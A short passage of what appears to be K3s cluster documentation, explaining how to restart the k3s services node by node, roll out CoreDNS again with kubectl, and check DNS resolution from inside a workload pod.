Apply during a maintenance window, one node at a time. Restart the service appropriate to the node: sudo systemctl restart k3s on a server, or sudo systemctl restart k3s-agent on an agent. Once the nodes are healthy, recreate CoreDNS through its Deployment:

kubectl -n kube-system rollout restart deployment/coredns
kubectl -n kube-system rollout status deployment/coredns

From a workload pod with a DNS lookup tool, verify the internal name, a public hostname, and kubernetes.default.svc.cluster.local. A successful lookup on the host alone does not verify pod DNS.

For resolver selection and domain-specific forwarding alternatives, see K3s DNS configuration.